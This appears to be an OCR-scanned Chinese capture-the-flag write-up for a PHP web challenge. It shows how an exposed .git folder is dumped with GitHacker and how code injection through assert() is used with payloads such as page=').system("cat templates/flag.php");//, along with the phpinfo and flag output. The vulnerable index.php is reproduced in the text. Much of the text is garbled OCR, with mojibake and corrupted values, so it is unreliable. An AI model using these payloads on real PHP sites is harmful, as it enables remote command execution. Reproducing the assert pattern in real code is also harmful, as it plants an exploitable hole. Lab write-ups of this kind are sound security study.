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About

lrote this wehsite all by myself in under a week!

| Used:

* PHP
» Boaotstrap

FEURLJE T b0 _ /git R 3R -

« - C |-:i} 111. 198. 29, 45: 55480/, zit/

BEamerts @ #iFLE xR 1B =R

Index of /. git

Name Last modified Size Description

¥ Parent Directory -
@ COMMIT_EDITMSG 2018-10-04 12:57 25

@ HEAD 2018-10-04 1257 23
(£ branches/ 2018-10-04 12:57 -
@ config 2018-10-04 1257 92
@ description 2018-10-04 1257 73
(3 hooks/ 2018-10-04 1257 -
@ index 2018-10-04 1257 523
info/ -10- : -
Qinf 2018-10-04 1257
0gs/ -10- : -
a1 2018-10-04 1257
objects/ -10- : -
(£3 object 2018-10-04 1257
refsf -10- : -
Cref 2018-10-04 1257

Apache/24.18 (Ubuintu) Server at 111.198.29.45 Port 35480
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pip install requests

git clone https://github.com/wangyihang/GitHacker.git

python GitHacker.py [Website]

GSEINATE

| GitHacker-master || GitHacker || 111_198_29_45:35480_ ~

-——
—

index.php templates
flag A B BAG I -
- flag.php
‘ RREl H E ‘ ~(GitHacker-master/GitHacker/111_198_29_45:35480_/template
k?php
J// TODO
/7 $FLAG = '';
7=

EFHindex.php X {4 N &3 2PHPIRS :

if (isset($_GET['page’])) {
$page = $_GET['page’];
}else {

$page = “home”;

}
$file = “templates/” . $page . “.php”;

/I'heard “..." is dangerous!
assert(“strpos('$file’, ‘...") === false”) or die(“Detected hacking attempt!”);

/I TODO: Make this look nice
assert(“file_exists('$file’)”) or die(“That file doesn’t exist!”);

?>

htmIfRAG. ..
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PHP S
assert (mixed §assertion [, string §description ] ) @ bool
PHPY
assert ( mixed $assertion [, Throwable §exception ] ) : baol
assert() 22 EETEM assertion FEFTEEER N FALSE AT SEEOELATTEN,
Traditional assertions (PHP 5 and 7)

#M5 assertion BFEFE , TS assert() 24/ PHP R85EHT. assertion EFHIMIHELERMSRTHNTEHSED , HETTES %
W EAS assertion FJAT,, XEWENERIFENT boolean FEMAHEN assertion , XPEFEFASET AN BHNES  TRBIR
TEV R assert_aptions(} AMBERENET | SR A= SR |, MT/ARE FALSE S fER AkEs=rT 8,

ETS XA DIREANZ - AR, (TRORFA T =Et R B A AR D AEAIZN TRUE , RIETHRLAEFIER , SeEZR EEMTIREIRRE (250
Ve R me R R R IR FRITIRE ) .
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B Xt strpos@ BT A, WiE—T, page=)

WLVBJEH ', '..") === false A ERNE, & page=").phpinfo();//, ATLAE | E &

(@ 111.198. 29. 46: 35480 Tpage=" ). phpinfo () ; // B e

bt BRI

Project name  Home  About  Contact

System Linux 6075190465 4 4 0-131-genetic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2015 «56_64
Server APl {tpache 2.0 Handler
irtual Directory Support lisabled
Configuration File (php.ini) Path letciphp/7 Diapache?
Loaded Configuration etciphp/7 . Dfapache2hhp.ini
Scan this dir for iti Jni files ietciphp7 . Oiapache2/conf o
Additional .ini files parsed letciphp/7 Dfapache2/cont .o 0-opcache i fetoiphpsT Dfapache2icont.di O-pdodni, fetciphpsT Dlapache2icont di20-calendarini,

ietciphp/7 . Oiapache2/iconf d/20-ctype ini, Jetc/php? Diapache2icont di20-exit.ini, jetciphpl? Diapache2icont . di20-fileinto ini,
ietciphp/7 .Ofapache2/conf d/20-ftp.ini, /etciohpi7 Diapache2icont.df20-gettexdt.ini, /eteibpd? Ofapacheiconf di20-icony.ini,
ietciphp/7 Ofapache2/cont &/20-son ini, feteiphp/? Diapache2/conf di20-phar ini, fstophp/? Dfapache2/cont di20-posi ini, fstciphp
I7 Qapache2icont. di20-readine.ini, fetehhpT Ofspache2icont.di20-shmap.ni, fetohhpT Ofspache2iconf.di20-sockets.ini, fetchhp
(7 Mizpache2icont.dri20-sysvmsg.ni, fetchhpd Ofspache2iconf.di20-sysysemini, fstoihp? Diapache2iconf oi20-sysyshmini,
ietciphp/7 Ofapache2/con d/20 tokenizer ini

PHP API RO151012

PHP i (20151012

Fend Extension 20151012

Zend ion Build (BRI320151012 NTS
PHP Fxtensinn Ruild PN S1 2 MTS

HREANTRMBIT, HEEWA, #iE page='.phpinfo().', WA LLF L

| (D) 111.198. 20, 45: 35480 /Ppage=" . phpinfol).” B
A [ s

php

System Linw 6b50751904ea 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 x86_64
Server AFL Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path fete/php/7.0fapache2

Loaded Configuration File fete/php/7.0fapache2/php.ini

Scan this dir for additional .ini files fete/php/7.0fapache/conf.d

Additional .ini files parsad fetciphp/7.0fapache2fconf.d/10-opcache.ini, fetc/php/7.0/apache2/conf.d/10-pdo.ini, fetc/php

f7.0fapacheZfconf.d/20-calendar.ini, fetc/php/T.0fapache? /conf.d/20-ctype.ni, feto/php 7.0 zpache 2
feanf AfIN-evif inl JetefnhndT Nlanarhe? fennf AI2N-filzinfa inl Tatefmhe T Nanacke 2iranf A720-fmind

BESR T DASAT R 2, FREEfEiee T, f# Fsystem()®# (systemF Hi¥#E) , WiEESR HFXWpayload: »
page='.system("1s").' B\ page=').system("1s");// I HEHEER, FEEELE P ABEEFL.

HTEBEETRSA, L EEWER Bflagifipayload: ?page=').system("cat templates/flag.php");// B ?
page='.system("cat templates/flag.php").' FiE M TEEFIEM! !


https://www.php.net/manual/zh/function.system.php

- Q‘ ‘ (i) wiew-socurce:http://111.198. 29, 45: 38462/ Ppage=" ). systen( cat templates/flag.php”);//

MilEhits @ #FLE ERFL B sk

{?php IFLAG="cyberpeace [TacOIcH7b]6fFfafedr27bd26aaalaib4} " 2>
{?php IFLAG="cyberpeace [TacOIcH7b]6fFfafedr27bd26aaalaib4} " 2>

CIDOCTYPE htmi>
<html>
<head>
<meta charset="utf-8">
{meta http—equiv="¥-UACompatible” content="IE=edge”>
{meta name="viewport” content="width=device-width, initial-scale=1">

- ‘@ | (i) wiew-source:http://111, 198, 20, 45: 38462/ 7page=". syzten( cat templates/flag.php”).’

MilESES @ #FLE SERE D SR

{?php $FLAG="cyberpeace [TacG3cE7bI6FffaTedf27bd26aaalfar64d}”; 2>
<?php $FLAG="cyberpeace [TacG3cE7hI6ffaTedf27hd26aaalfai64} " 2>

That file does’t exist!
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